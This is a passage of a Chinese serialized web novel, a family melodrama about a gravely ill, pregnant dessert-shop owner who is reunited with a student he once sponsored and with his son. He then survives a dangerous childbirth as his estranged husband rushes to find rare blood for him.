小城的好处是小,所有的信息流通的很快。
一个漂亮的年轻人在这里开了一座小城的消息如同翅膀一样迅速传遍了整座小城。
老年人不知道网络,也不关注娱乐圈的消息,自然不知道余赋秋和长庭知那些事情。
他们只知道,这个年轻人是不是脑子坏掉了?
来这个鸟不拉屎的地方开一个甜品店?
真正一开始接触这个年轻人的,是一直在这个社区工作的夏阿姨,她要登记每一个流通人口。
她第一次打开了这个小门,看见了藏在橱柜后面的年轻人。
当她第一次和这个年轻人对视的时候,她才知道真的有人长得和雪山上的精灵一样,在她和年轻人聊天的过程中。
她才发现面前这个漂亮的年轻人腿脚不利索,甚至连眼睛视力也不好,最为显著的他已经隆起的肚子——
“你,你一个人怀着孕来这里?”
夏阿姨语气忍不住埋怨:“你老公呢?他心真大啊。”
余赋秋摸了摸自己的肚子,他本以为自己这个孩子会随他一同消散于天地之间,可是在过去半年间,他感受着越来越明显的胎动。
他心脏已经无法提供更多的血液了,这半年,他不得不倚靠人工手段才能维持心脏的转运,因此孩子的营养并不是很足,明明该七八个月大的肚子,此时看起来就和五六个月差不多。
他本身就瘦削,宽大的衣服一遮盖,倒也一时间看不出来。
“我老公……”
他想起小树。
那个明媚的长庭知。
他弯了弯唇角,“他,去世了。”
夏阿姨原本要骂的声音堵在喉咙口,面上怜悯。
就这样,他们一来一回,开始熟悉了起来。
原本余赋秋就打算住在这个小店身后的阁楼上,但经过夏阿姨的介绍,他搬到了夏阿姨的小区,一个朝南的小房子。
夏阿姨经常请他来家里吃饭,俨然把他当作了自己的孩子,时不时和余赋秋捞家常。
“球球!”
在余赋秋一次准备关店回家的路上,他碰到了夏阿姨。
正值下班的点,夕阳的余晖将他们的影子拉的格外长。
夏阿姨挥了挥手,手中沉甸甸买的蔬菜和肉,“下班啦,回家吃饭!”
她亲昵地拍了拍余赋秋的肩膀,把手里的车厘子塞进他的手中,新鲜的,上面甚至还挂着水珠,“今天来了一批很棒的货,还好我手速快,不然可抢不过那群老头老太太。”
“走,回家给你炖玉米排骨汤,再来一个野菜,很好吃的……”
夏阿姨对着余赋秋喋喋不休。
在听到回家两个字的时候,余赋秋的身体先是一僵,随即慢慢地露出了笑容,他的视力还是只能看到模糊的轮廓,但他已经对这座小城足够熟悉了,拄着盲杖也能行走自如。
他想着是自己一个人回到了这个地方,静静等待死亡的降临,这个这座小城的热情,又将他从濒死的死亡线上再一次拽了回来。
夏阿姨好奇地摸着他的肚子:“我大孙女的预产期什么时候啊?”
余赋秋摸着鼓起的肚子,夏阿姨的手还贴在他的肚子上面,就在下一秒,他们感受到了胎动。
“呀呀呀呀!小丫头这么快想出来啦?”
夏阿姨眉目弯弯,“那奶奶给你多煮点好吃的,你可别折腾你妈妈了,他一个人带你,很不容易的噢,你乖一点。”
原本从未期待过这个生命降临的余赋秋心头开始一动。
他没去做三维,不知道里面孩子的长相,是男孩?女孩?
会是和他一样在秋天出生吗?
还是要在夏天出生呢?
它长得像自己还是长庭知多一点?
它叫什么名字?
它是不是和春春一样,那么乖呢?
余赋秋在这个世界无父无母,唯一的牵挂也被他亲手割舍了,可是这个瞬间,在听着厨房咕咚咕咚冒泡的沸腾,汤的香气在空气弥漫。
他好像——
又有点开始期待这个世界了。
甜品店的生意不温不火,够维持他自己的温饱,基本都是节假日的时候,来这里爬山的人,会想带点特产回去,这个时候余赋秋的生意会比较忙。
直到他店铺的对面开了一家小学,甜品对孩子们的吸引是致命的。
加上他漂亮外貌和温柔的性子,生意反而是好了起来。
无奈之下,余赋秋只得去雇佣个人。
他就这么静静地擦拭着台面,涣散的眸光看着门口。
门口的风铃响了。
他抬起头,看见一个模糊的身影走进来。
是个年轻人,大概二十出头的样子,穿着一件洗得发白的牛仔外套,背着一个旧书包。
他站在门口,有些拘谨地看着店里。
“请……请问,这里招店员吗?”
余赋秋愣了一下。
他确实贴了招聘启事在门口,但没想到这么快就有人来。
“招。”他说,“你坐。”
年轻人坐下来,有些紧张地搓着手。
余赋秋给他倒了杯水,在他对面坐下。
“以前做过吗?”
“做过的。”年轻人点点头,“在学校的食堂打过工,也在外面的餐馆干过一段时间。”
“学校?”余赋秋问,“你在上学?”
年轻人的脸红了红,低下头:“嗯……刚毕业,回家想考公,想先找一份工作干着。”
余赋秋看着他,心里莫名软了一下。
“哪个学校?”
“县城的师范。”年轻人抬起头,有些不好意思,“不是好学校,但我能考上已经很不容易了。”
“为什么不容易?”
年轻人沉默了一下,然后轻轻说:“我家里条件不好,小时候差点读不起书,后来有人资助我,才一直念到现在。”
余赋秋的手指微微一顿。
“资助?”
“嗯。”年轻人的眼睛亮了一点,“是一个好心人,从我小学开始一直资助到我高中毕业。每个月按时打钱,还给我写信,鼓励我好好学习,要不是他,我早就辍学了。”
余赋秋看着他,看着他亮晶晶的眼睛,心里有什么东西轻轻动了一下。
“那个人……”他慢慢问,“叫什么名字?”
年轻人摇摇头:“不知道,他一直没告诉我名字,只让我叫他‘哥哥’,我写的信都是寄到一个地址,后来那个地址变了,就联系不上了。”
他从书包里翻出一个旧旧的笔记本,翻开,从里面抽出一张泛黄的信纸。
“这是最后一封信,我一直留着。”
“每当我沮丧的时候,我都会翻出来看看。”
余赋秋接过来,低头看。
信很短,只有几行字,字迹有些潦草:
“好好学习,考上大学。”
落款是:一个希望你过得好的人。
余赋秋盯着那封信,盯着那个字迹,盯着那个地址——
他的手开始发抖。
那个地址。
他的手开始发抖。
那个地址。
是他以前二十人大通铺的地址。
那个字迹。
是他自己的字迹。
他慢慢抬起头,看着眼前这个年轻人。
“你……”他的声音有些抖,“你叫什么名字?”
“林远。”年轻人说,“树林的林,远方的远。”
余赋秋张了张嘴,说不出话。
他想起很多年前,他还年轻,还什么都没有,却坚持每个月从微薄的工资里挤出一部分,寄给一个素未谋面的孩子。
让那个孩子不要辍学。
“好名字,好名字……”
余赋秋慢慢地笑了,“我所作的,终究是有回报了。”
年轻人愣住了。
他看着余赋秋,看着那双微微泛红的眼睛,看着那张有些苍白的脸,然后——
他猛地站起来。
“哥——!你是那个哥哥——?!”
余赋秋没有说话,只是看着他,眼眶慢慢红了。
年轻人的眼泪一下子涌出来。
他绕过桌子,扑通一声跪在余赋秋面前,抓住他的手,哭得像个孩子。
“哥……哥我找了你很久……我到处找……那个地址变了……我问了好多人……我以为这辈子都找不到你了……”
余赋秋的手在发抖。
他不知道该说什么。
他只是伸出手,轻轻地、轻轻地,摸了摸那个伏在他膝上哭泣的年轻脑袋。
“长这么大了。”他说,声音沙哑得几乎听不见。
“嗯……”年轻人抬起头,满脸是泪,却笑得灿烂,“哥,我考上了……我考上大学了……我听你的话,好好学习了……”
余赋秋看着他,看着那张年轻的、充满朝气的脸,看着他亮晶晶的眼睛,看着他真诚的笑——
他紧绷了太久的神经,终于在这一瞬间,放松了一点点。
只是那么一点点。
但也够了。
“起来。”他轻轻说,把年轻人拉起来,“别跪着。”
年轻人站起来,还在抹眼泪,又哭又笑。
“哥,你怎么在这里?这是你的店吗?你怎么……你怎么看起来不太舒服?你眼睛怎么了?”
一连串的问题砸过来,余赋秋有些招架不住,却忍不住弯了弯嘴角。
“慢慢说。”他说,“以后有的是时间。”
年轻人的眼睛一下子亮了。
“以后?哥你是说……你愿意留下我?”
余赋秋点点头。
“愿意。”
年轻人又哭了。
余赋秋看着他,心里那堵砌了很久的墙,好像终于有了一道小小的裂缝。
阳光从门口照进来,落在他们身上。
那个年轻人擦干眼泪,开始絮絮叨叨地说这些年的事——他怎么考上大学的,怎么一边读书一边打工的,怎么一直留着那些信,怎么到处打听那个地址,怎么以为自己再也找不到那个“哥哥”了。
余赋秋静静地听着。
听他说起那些年,那些自己都快忘了的、每月按时寄出的汇款单,那些写在信纸上的鼓励,那些对一个素未谋面的孩子的牵挂。
他曾经以为,那些事都毫无意义。
可此刻,这个活生生的、站在他面前的年轻人告诉他——
那些事,改变了一个人的一生。
他的存在,是有意义的。
第100章 第100章[VIP]
他原来在某种时刻, 也成为了别人活下去的动力。
余赋秋看着在橱柜后面忙着的林远,忽然笑了。
“阿远,你现在住哪儿?”
他的租金便宜, 但他的房子小, 一室一厅一厨一卫,没有更多的房间了,倒是能让林远住客厅, 长期这样也不是个办法。
“赋秋哥,我是这里的人。”林远不好意思抬起来了脑袋,挠了挠头:“我回来…也是照顾我病重的妈妈。”
他的神情晦暗了下去:“她的病, 医生说以保守治疗为主, 我本来就是想要在他的身边好好照顾她,谢谢你, 赋秋哥, 如果不是你,我也没办法在家里和医院之间来回跑。”
余赋秋看着林远,仿佛看到了在雪中迷路的自己,他看了看自己最近越来越好的营业额,静默了下, 下个月给他涨工资吧。
林远是个自尊心很强的孩子。
“喂, 球球啊。”夏阿姨给余赋秋打了电话, “什么时候回来?你叔叔念着要你给他念报纸,我们大字不识一个,老头子你干嘛?那是给球球买的!只有城里才有, 你怎么还偷吃……”
听着电话那头絮絮叨叨的吵闹声, 余赋秋想起了在梦中的爸爸妈妈。
他想到,他和爸爸妈妈生活在一起, 是不是也是这样的呢?
就在这个时候,风铃传来清脆的声响。
林远对着门口说:“小朋友,要下班了,明天再来吧。”
余赋秋低头算着今天的账目。
忽然,林远神色怪异探出了脑袋:“赋秋哥,来了个客人。”
余赋秋头也没抬:“打烊了呀,让他明天再来吧。”
“他,他说来找您的……”
找我?
余赋秋想着,知道他来这里的人不多,难道是沈昭铭?
这么想着,他看着面前的身影,神情顿时愣住了。
那道小小的身影被夕阳的余晖无限制地放大,余赋秋的眼睛很久都没有眨一下,似乎不敢确定门口那道身影。
“妈咪。”
长春春推开了门,在风铃清脆的声音中显露在余赋秋的面前。
这半年,他长得很高。
原本还有些瘦削的脸蛋此刻变得饱满,眉目长开了,继承了余赋秋和长庭知所有优点的长春春,走在路上都是会引起路人频频侧目的模样。
除了走的缓慢一点,任由谁都看不出他曾经残疾的模样,他扔了拐杖,走路和正常人一样。
“春、春?”
余赋秋手中的账目啪的摔在了桌面上,他不可置信地伸出手,想要去摸孩子的脸庞。
但他又很快缩回了手,现在的他,因为怀孕,肚子有些隆起,小腿有些浮肿,穿着厚重的衣服,整个人看起来苍白不已,他不想让长春春看到这样的自己。
长春春却上前一步,展开双手抱住了余赋秋。
已经一米五的长春春抱着余赋秋还有些吃力,但他仍然稳住了重心。
“让妈咪看看我。”
他应该是跑来的,脸颊上还有细密的汗,喘着粗气,脸蛋红扑扑的,他把自己的脸轻轻地放在余赋秋的掌心中。
余赋秋颤抖着指尖,描摹长春春的五官,每摸一下,心脏的酸涩就多一分。
“他们都说我越来越像妈咪了。”长春春眉目弯弯。
“是了……是了……你是妈咪的孩子,长大了长大了。”
“没想到我居然可以活到现在,看到这样的你,我感觉我没有遗憾了。”
余赋秋小声地说。
这才注意到他背着一个小小的包。
长春春骄傲地把书包递到余赋秋的面前,“妈咪!这是我的家庭作业,自己亲手制作的书包哦!”
在书包最中心,缝着一个歪歪扭扭的花朵,这是余赋秋最喜欢的花,它处于最中间,像是藤蔓般生长。
“还有这些哦!”
长春春装作没看见余赋秋手臂上的伤痕,他咬着唇,低下头,从包里拿出很多的奖状。
看着上面一张又一张的奖状,余赋秋的眼泪终于是忍不住流了下来。
他的孩子,在他看不见的地方,成长的这么优秀了。
他看见了一本相册,他慢慢翻开了相册。
才发现这是长春春从半年前到如今参加所有活动的照片。
每一张照片上都标注了拍照的日期。
“爸爸告诉春春,妈咪在出去散心了,我不可以打扰妈咪,我怕自己忍不住,所以整理了这半年的相册,等到时候给妈咪看!”
翻着那一张张照片,余赋秋知道自己到底错过了多少长春春的成长。
他看着自己怀胎十月生下的孩子。
忍不住把他抱入怀中。
他以为,只要自己远离了京州,他就可以不去关心长春春,他以为把长春春留给了长庭知,他就可以放下一切,安心地等死。
可是他发现,自己还是放不下一切,没有办法不去关心长春春。
他有很多话想说。
想说对不起,想说妈咪错了,想说这些年妈咪好想你,想说你长这么大了,想说你怎么就……怎么就这么大了。
可他什么都说不出来。
只是抱着,紧紧地抱着。
长春春乖乖地让他抱着,小手轻轻拍着他的背,像以前余赋秋拍他那样。
“妈咪不哭。”他轻轻说,“我在这里。”
余赋秋的眼泪流得更凶了。
就在这时——
肚子猛地一抽。
剧烈的疼痛毫无预兆地袭来,像有什么东西在腹部狠狠拧了一把。
余赋秋闷哼一声,整个人软了下去,手紧紧抓住长春春的肩膀。
“妈咪?!”长春春慌了,“妈咪你怎么了?!”
余赋秋咬着牙,说不出话。
又一阵疼痛袭来,比刚才更剧烈,更凶猛。
他低头一看——
羊水破了。
温热的液体顺着腿流下来,浸湿了裤子,滴在地上。
“春春,别怕……”余赋秋的声音虚弱了下来,“林,林远,打,打120……”
长春春的小脸绷得紧紧的,眼眶已经红了,但手很稳——他拿过旁边的电话,一个一个数字按下去。
“120……我妈咪要生了……羊水破了……她很疼……我们在……”他抬头看林远。
林远报出地址,长春春一字不差地重复给电话那头听。
“他们说马上来……”长春春放下电话,驱动轮椅到余赋秋身边,抓住他的手,“妈咪不怕……马上就来……”
那只小手在抖。
但握得很紧。
余赋秋看着他,看着他明明害怕得要命却拼命装作勇敢的样子,心里又疼又软。
他想说什么,却被又一波疼痛堵了回去,只能用力回握那只小手。
林远在旁边急得团团转,一会儿跑到门口看救护车来了没有,一会儿跑回来给余赋秋擦汗,一会儿又蹲下来握住他另一只手。
“哥你坚持住……马上就到……我听见声音了……真的有声音了……”
他的声音也在抖。
他只是个二十出头的大学生,从来没遇到过这种事。
可他知道,眼前这个人是他找了那么多年的恩人,是他发誓要好好报答的人。
他不能慌。
他不能让他出事。
救护车的鸣笛声由远及近。
林远腾地站起来,冲到门口大喊:“这里——!这里——!”
几个穿白大褂的人冲进来,动作迅速地检查、抬人、往外跑。
“家属跟上!”
“我是!”林远冲上去,“他弟弟!”
“我是!”长春春也冲上去,拼命往前,“他儿子!”
医护人员愣了一下,看着这个孩子,和这个年轻得不像话的大学生。
没时间多问。
“上车!”
林远抱起长春春,跳上救护车。
车门关上,警笛拉响,车飞快地驶向医院。
车厢里,余赋秋躺在担架上,脸色白得像纸,嘴唇被咬出了血。
医护人员在他身边忙碌着,量血压、打针、监测胎心。
林远跪在他旁边,握着他的手,眼眶红红的。
“哥你看着我……你看着我……别睡……”
长春春趴在另一边,小手紧紧攥着余赋秋的另一只手,眼泪流了满脸,却咬紧嘴唇不让自己哭出声。
余赋秋的眼睛微微睁开一条缝。
他先看见的是林远。
那个他多年前随手帮过的孩子,此刻正跪在他身边,握着他的手,抖得比他还要厉害。
他又看向长春春。
“妈咪不怕……”长春春说,声音抖得厉害,但每一个字都清清楚楚,“春春在这里……远哥哥也在这里……我们都陪着你……”
余赋秋的眼角有泪滑下来。
不是疼的。
是别的什么。
他用尽力气,轻轻握了握那两只手——一只大的,一只小的。
“好……”他说,声音轻得几乎听不见,“妈……妈咪不怕……”
又一波疼痛袭来,他闷哼一声,整个人蜷缩起来。
林远把他抱得更紧,长春春把他的手指攥得更紧。
“马上就到了!”林远朝前面喊,“医生!还有多久!”
“五分钟!”
“哥你听见了吗!五分钟!再坚持五分钟!”
余赋秋已经说不出话了。
他只是用力握着那两只手,一下,又一下。
疼痛像潮水一样涌来,一波比一波凶猛,几乎要把他整个人吞没。
可他没有松手。
他知道有人在握着他。
一个是他帮过的孩子,一个是他生下的孩子。
他们都陪着他。
救护车一路呼啸,穿过城市的街道,冲向医院。
医院门口,担架被飞快地推进急诊室。
林远想跟进去,被护士拦下。
“家属在外面等!”
“我是他弟弟!”
“外面等着!有事叫你!”
门关上了。
林远站在门口,手足无措。
他回头看了一眼——
他快步走过去,蹲下来,把那个小小的孩子轻轻抱住。
“没事的,”他说,不知道是在安慰长春春,还是在安慰自己,“哥一定会没事的……”
长春春在他怀里,把眼泪憋了回去,他也回抱着林远,“没事的,没事的。”
林远把他抱得更紧。
他抬起头,看着那扇紧闭的门。
门上的灯亮着,红色的,一闪一闪。
他想起很多年前,那些每个月按时到来的汇款单,那些写在信纸上的鼓励,那个从未谋面却改变了他一生的人。
“哥……”他轻轻说,“你一定要好好的……”
长春春在他怀里。
他只是看着那扇门,看着那盏红灯,一动不动。
等着。
手术室的门紧闭着,门上的红灯刺眼地亮着。
林远坐在走廊的长椅上,双手抱着头,指节泛白。
长春春在他旁边,眼睛死死盯着那扇门,一眨不眨。
时间过得很慢。
慢得像有人把每一秒都拉成了一分钟。
不知道过了多久,门终于开了。
一个医生快步走出来,脸上的表情让林远的心猛地沉了下去。
“谁是家属?”
“我!”林远腾地站起来,“他弟弟!他怎么样?!”
医生看着他,语速很快:“病人大出血,失血量太大,现在心脏泵血功能跟不上了,需要紧急输血。但是——”
他顿了顿。
“产妇是RH阴性血,我们血库的库存不够。”
林远的脑子“嗡”的一声。
稀有血型。
他听过这个词,但从没想到有一天会落在自己最重要的人身上。
“那……那怎么办……”他的声音在抖,“抽我的!我什么血型都行!”
医生摇头:“血型不匹配不能用。我们已经联系周边血库了,但最快也要两个小时。他现在的情况,撑不了那么久。”
两个小时。
撑不了那么久。
林远整个人像被抽空了力气,扶着墙才没倒下去。
就在这时——
走廊尽头传来一阵凌乱的脚步声。
那脚步跌跌撞撞,像是一个不会走路的人在拼命跑。
林远抬起头。
他看见一个人正朝这边冲过来。
那人头发凌乱,衬衫虽然烫过,但有了褶皱。
他眼底乌青,布满血丝,脸上没有一点血色。
长庭知。
他冲到手术室门口,一把抓住医生的手臂,力气大得医生都疼得皱眉。
“他怎么样了?!”
那声音沙哑得几乎听不清,像是用尽了全身力气从喉咙里挤出来的。
医生被他吓了一跳,但很快稳住:“你是?”
“我是他丈夫!”长庭知眼眶红得像要滴血,“他到底怎么样了?!”
医生看着他,又看了看他身后的林远和长春春,快速说:“产妇大出血,需要输血,但他是RH阴性血,我们血库不够。”
长庭知愣住了。
稀有血型。
余赋秋是稀有血型。
他知道的。
他怎么会不知道?他们在一起那么多年,他怎么可能不知道?
可他从来没想过,有一天这个血型会让他——
他猛地松开医生,踉跄着往后退了两步,靠在墙上。
他的手在抖。
整个人都在抖。
“我去筹血。”他听见自己的声音,像是从很远很远的地方传来的,“我认识人……我能找到……我去筹血……”
医生看着他这副样子,有些不忍:“你冷静点——”
“我很冷静!”
长庭知吼出来,吼完又软下去,扶着墙才能站稳。
他看着医生,眼睛里全是红血丝,声音沙哑得不成样子:“求你……求你撑住他……我去找血……我很快就回来……求你撑住他……”
他松开手,转身就跑。
跑了两步又停下来,回头看着长春春。
“爸爸,你去吧,这里有我。”
长庭知没有说话,只是用力点了一下头,然后转身,跌跌撞撞地跑进走廊尽头的黑暗里。
林远站在原地,看着那个狼狈的背影消失在视线里。
他想起刚才那一幕——那个男人冲过来的样子,那种不要命似的、像是整个世界都要塌了的样子。
那是他第一次见到长庭知。
他不知道他们之间发生过什么。
但他知道——那个男人,是真的在用命爱他哥。
“哥哥。”
长春春的声音在旁边响起。
林远低头,看见那个小小的孩子正抬头看着他,眼睛红红的,但里面有一种他说不清的东西。
“爸爸会找到血的。”长春春说,“爸爸一定会救妈咪的。”
林远蹲下来,轻轻握住他的手。
“嗯。”他说,“一定会。”
长春春点点头,又转头看向那扇门。
红灯还在亮着。
他和爸爸,都在等。
长庭知是最后一个赶回来的。
他冲进医院的时候,整个人狼狈得不像样子——头发乱成一团,衬衫被汗浸透,脸上全是灰,嘴唇干裂起皮。
他一口气跑到手术室门口,看见林远和长春春还在那里坐着,腿一软,直接跪在了地上。
“血……”他喘着粗气,“血够了吗……”
林远站起来,走过去,蹲下来看着他。
那张脸上,全是汗,全是灰,全是泪痕。
“够了。”林远说,声音有点抖,“血够了,医生刚才出来说,情况稳住了。”
长庭知愣住了。
他愣了很久。
然后——
他低下头,把脸埋进手掌里。
肩膀剧烈地抖动着。
没有声音。
只是抖。
长春春慢慢地走到他身边。
他伸出小手,轻轻放在爸爸的背上。
“爸爸。”他说,声音细细的,“你做到了。”
长庭知没有说话。
他只是伸出手,把那个小小的孩子,紧紧地抱进怀里。
两个人都没有说话。
只是抱着。
林远站在旁边,看着这一幕,眼眶也红了。
手术室的门还关着,红灯还亮着。
但血够了。
血够了。
不知道过了多久。
手术室的门终于开了。
医生走出来,摘下口罩,脸上带着疲惫的笑意。
“手术成功。大人孩子都没事。”
长庭知猛地站起来,腿一软,差点又跪下去。
他扶着墙,看着那扇门,看着门里隐约推出来的病床——
余赋秋躺在上面,脸色苍白,但呼吸平稳。
活着。
他还活着。
长庭知的眼泪终于流下来了。
他没有出声,只是站在原地,看着那张越来越近的脸,眼泪不停地流。
……
余赋秋醒来的时候,第一眼看见的是天花板。
白色的,很亮,有些晃眼。
他眨了眨,视线慢慢清晰。
然后他听见了呼吸声——很轻,很细,像一只小动物在安静地睡着。
他慢慢转过头。
长春春趴在他的床边,小脸枕在手臂上,睡得正香。
小小的身体蜷缩在陪护床里,一只手还搭在余赋秋的被子上,手指轻轻蜷着,像是握住了什么东西不肯松开。
余赋秋看着他,看了很久很久。
阳光从窗户照进来,落在那个小小的身影上,给他的轮廓镀上一层暖金色的光。
他想起很久以前,春春刚出生的时候,也是这么大一点,也是这么安静地睡着。
那时候他整夜整夜地守着,生怕他哪里不舒服,生怕自己一眨眼就错过了什么。
后来他错过了很多。
很多很多。
可是现在——
这个孩子在他身边。
守着他,等着他,替他担心,替他害怕。
余赋秋的眼眶有些发酸。
他轻轻伸出手,想摸摸春春的脸。
手刚伸到一半,余光看见了另一边。
一个小小的婴儿床,就放在他的病床旁边。
透明的塑料箱里,一个小小的、皱巴巴的、裹在襁褓里的小东西,正安静地睡着。
那是他的孩子。
是他怀胎八月、差点拼了命才生下来的孩子。
余赋秋看着那个小小的婴儿,看了很久很久。
那皱巴巴的小脸,那微微蜷缩的小手,那若有若无的呼吸起伏——
那么小。
那么脆弱。
那么像当年的春春。
他的喉咙有些发紧。
他慢慢伸出手,想碰一碰那个小小的襁褓。可是手伸到一半,又停住了。
太小了。
他怕自己碰坏了。
不知道过了多久。
旁边传来轻轻的响动。
余赋秋转过头,看见长春春正揉着眼睛坐起来,迷迷糊糊地往他这边看。
然后那双眼睛一下子瞪大了。
“妈咪——!”
长春春的声音又惊又喜,整个人差点从床上滚下来。
“妈咪你醒了!你真的醒了!医生说你今天会醒,我一直等一直等,等到睡着了——”
余赋秋看着他,嘴角慢慢弯起来。
他反握住那只小小的手,轻轻地、轻轻地捏了捏。
“嗯。”他说,声音有些沙哑,“妈咪醒了。”
他抬起头,用袖子胡乱抹了一把脸,吸了吸鼻子,努力装出一副很成熟的样子。
“妈咪你饿不饿?”他问,“医生说你现在只能吃流食,我去给你买!”
余赋秋还没来得及说话,他已经走到门口了。
走到门口,又停下来,回头看了一眼婴儿床里那个小小的宝宝。
“妈咪,妹妹好小。”他说,眼睛亮亮的,“我会保护妹妹的。”
然后他推开门,出去了。
房间里安静下来。
只剩下仪器轻微的滴答声,和婴儿床里若有若无的呼吸声。
余赋秋靠在床头,看着那个小小的婴儿,看了那么久。
然后他慢慢转过头,看向那扇门。
门关着。
可他知道,门外有人。
从醒来那一刻,他就知道。
那道目光穿过门板,穿过走廊,穿过空气,落在他身上。
那么熟悉。
那么小心翼翼。
那么——
不敢进来。
余赋秋沉默了很久。
他低下头,看着自己的手。
手上还有输液留下的针眼,还有淡淡的淤青。
那只手,曾经在那个雨夜里,被另一个人紧紧握着。
林远都告诉他了。
说他怎么跌跌撞撞冲进来,怎么红着眼眶说“我去筹血”,怎么在手术室门口跪下来哭。
说他的头发乱了,衣服脏了,脸上全是泪痕,整个人像是流浪汉一样。
说他一直守在门外。
三天。
整整三天。
一步都没有离开过。
余赋秋抬起头,看着那扇门。
又低下头,看着婴儿床里那个小小的孩子。
那是他和他的孩子。
是他们两个人的。
他沉默了很久很久。
然后他开口,声音很轻,却很清晰:
“进来吧。”
门外没有动静。
他又说了一遍,这次声音大了一点:
“我知道你在。进来。”
沉默。
很长很长的沉默。
然后门被推开了。
长庭知站在门口。
他显然是收拾过了,但也遮盖不住脸上的疲倦和眼底的乌青,衣服甚至混乱之中扣错了一个。
余赋秋只看了一眼,就知道他整个人瘦了一大圈。
他站在那里,不敢进来。
只是看着余赋秋。
那双眼睛里,全是血丝,全是疲惫,全是小心翼翼的试探,和一点——不敢表露的期盼。
余赋秋看着他。
看着他这副狼狈的模样。
看着他和十七年前那条巷子里、浑身是血躺在地上的孩子,慢慢重叠。
他的喉咙动了动。
“站那儿干什么。”他说,声音很淡,听不出情绪,“进来。”
长庭知像是被这句话定住了。
他愣在那里,愣了好几秒。
然后他一步一步,慢慢地,走进来。
每一步都那么小心,像是怕惊动什么,像是怕下一秒就会被赶出去。
他走到床边,停下来。
离余赋秋还有一米远。
不敢再近了。
余赋秋看着他这副小心翼翼的样子,心里不知是什么滋味。
他没有说话。
只是慢慢转过头,看着婴儿床里那个小小的宝宝。
长庭知顺着他的目光看过去。
他也看见了那个小小的婴儿。
皱巴巴的脸,小小的手,安静地睡着。
那是他的孩子。
是他和余赋秋的孩子。
他想走过去看看,可脚步刚抬起来,又停住了。
他不敢。
他怕自己没资格。
余赋秋没有看他。
但他开口了,声音很轻:“是个女孩。”
长庭知的眼泪一下子就流下来了。
他没有出声,只是站在那里,看着那个小小的婴儿,眼泪不停地流。
余赋秋依旧没有看他。
但他慢慢伸出手,轻轻碰了碰婴儿床的边缘。
“你不过来,怎么看她?”
长庭知愣住。
他愣了很久很久。
然后他一步一步,慢慢地,走到婴儿床边。
他低下头,看着那个小小的孩子。
那么小。
那么软。
那么像——
像很多年前的春春。
他伸出手,悬在襁褓上方,抖得厉害。
不敢落下去。
一只温热的手伸过来,握住他的手腕,轻轻把他的手放了下去。
长庭知转过头。
余赋秋正看着他。
那双眼睛还很疲惫,很苍白,但里面有什么东西,和以前不一样了。
“她叫余愿安。”
余赋秋淡淡开口,看着面前酣睡的婴儿。
这或许是上天,又一次给了他活在世界上的牵引力。《 》
第101章[VIP]
第101章 第101章[VIP]
除了心脏隐约感到不舒服之外, 他的视力也恢复了一些,能勉强看清东西,不至于全部的黑暗。
他已经习惯了黑暗, 忽然回到了以前的光明, 他反而有些不适应了。
这期间长庭知一直忙前忙后,但在白天的时候,余赋秋从未在病房里看见过他, 长春春告诉他,说爸爸知道妈妈不想见他,他不会来让妈妈心烦。
可每当半夜, 他装作熟睡的模样, 余赋秋会知道,长庭知会悄悄推开那扇门, 看着在襁褓里睡觉的孩子。
其实, 安安很不老实,虽然是个女孩,但非常的爱哭闹,也许是余赋秋孕期的时候,安安实在是受了很多的苦。
她白天一直在睡觉, 精力旺盛都在晚上。
余赋秋最近实在是太累了, 生产后的疲倦和心气上的郁结, 都让他大脑烦闷不堪。
但是晚上本该哭闹的安安,却格外安静。
余赋秋听着门口的动静,长庭知小心翼翼地抱起了余愿安, 他小声低哄着, 月光照在他的侧脸,洒落一地光芒。
他说:“安安, 乖乖长大哦,要听妈妈的话。”
“他生下你很不容易了,是爸爸……是爸爸的错。”
“爸爸哄着你睡,你就不要吵醒妈妈了,让他好好休息,知道吗?”
余愿安睁着大眼睛,好奇地看着面前的男人,她听不懂,只是下意识地在男人怀中她很有安全感,咿咿呀呀要把玩着男人的手指,放在嘴里吮吸。
长庭知眼睛低垂,眼神温柔,这是他和余赋秋的孩子。
是个很漂亮的女孩。
但……这个孩子,真的是余赋秋想要的吗?
长庭知忽然不敢肯定了。
如果不是身体原因,余赋秋会不会打掉这个孩子?
是不是就是因为他的孩子,所以余赋秋才要这么不喜欢这个孩子?
长庭知看着咿咿呀呀的女儿,呼吸都窒息了一瞬。
余愿安想要哭,长庭知赶忙回过神,小心翼翼地看着余赋秋,确定他还在熟睡,他才松了口气,轻手轻脚地抱着女儿去走廊哄睡。
听着外面长庭知唱着的摇篮曲,余赋秋愣愣地看着走廊那一地昏黄的灯光,听着外面的蝉叫,陷入了沉默。
……
出院那天,天气很好。
阳光从云层缝隙里漏下来,落在医院门口的台阶上,暖洋洋的。
林远已经把车开过来了,正忙着往后备箱里塞东西。
长春春坐在副驾驶,抱着愿安的小襁褓,一脸认真地盯着那张皱巴巴的小脸看。
余赋秋站在门口,等他们收拾。
然后他抬起头,看见了对面那栋楼。
三楼,那间空了许久的房子,阳台上突然多了盆绿植。
晾衣架上挂着一件洗得发白的衬衫,在风里轻轻晃着。
一个人影站在窗帘后面,正往这边看。
隔着一条街的距离,余赋秋看不清他的表情。
但他知道那是谁。
他收回目光,脸上没有任何表情,拉开车门,坐了进去。
“哥,走吗?”林远问。
“走。”
车缓缓驶离医院,汇入车流。
后视镜里,那个人影还站在窗前,一动不动。
回到家,一切都很平静。
林远帮着把东西收拾好,又去店里张罗生意。长春春抱着愿安在客厅里转悠,给他看这个看那个,小声嘟囔着什么。
余赋秋靠在沙发上,闭着眼睛休息了一会儿。
生产时的失血让他身体还很虚弱,医生说得好好养着,不能劳累。
他睁开眼睛,看向窗外。
半夜,愿安哭了。
那哭声又尖又亮,像一把小锥子,刺破了整个夜晚的寂静。
余赋秋猛地惊醒,顾不上身体的虚弱,撑着床沿就要起来。
“来了来了,宝宝不哭……”
他抱起愿安,轻轻拍着,哼着不成调的曲子。
可余愿安今天不知怎么了,怎么哄都哄不好,哭声反而越来越大,小脸憋得通红。
长春春也被吵醒了,揉着眼睛从房间里探出头来。
“妈咪,妹妹怎么了?”
“没事,你接着睡。”余赋秋抱着愿安在屋里来回走,额头上渗出细密的汗。
可她就是不停。
哭声越来越响,越来越大,在深夜里显得格外刺耳。
然后——
门被砸响了。
“咚咚咚!”又重又急,带着明显的怒气。
余赋秋心里一沉。
他抱着余愿安走到门口,刚打开门,就看见几个邻居站在外面,为首那个中年男人满脸怒容,手指都快戳到他脸上来了。
“大半夜的还让不让人睡了?!你家孩子哭了一晚上了!”
“就是!我家明天还要上班呢!”
“这都第几天了?天天哭天天哭,有没有点公德心?”
余赋秋抱着余愿安,往后退了一步,抿了抿唇。
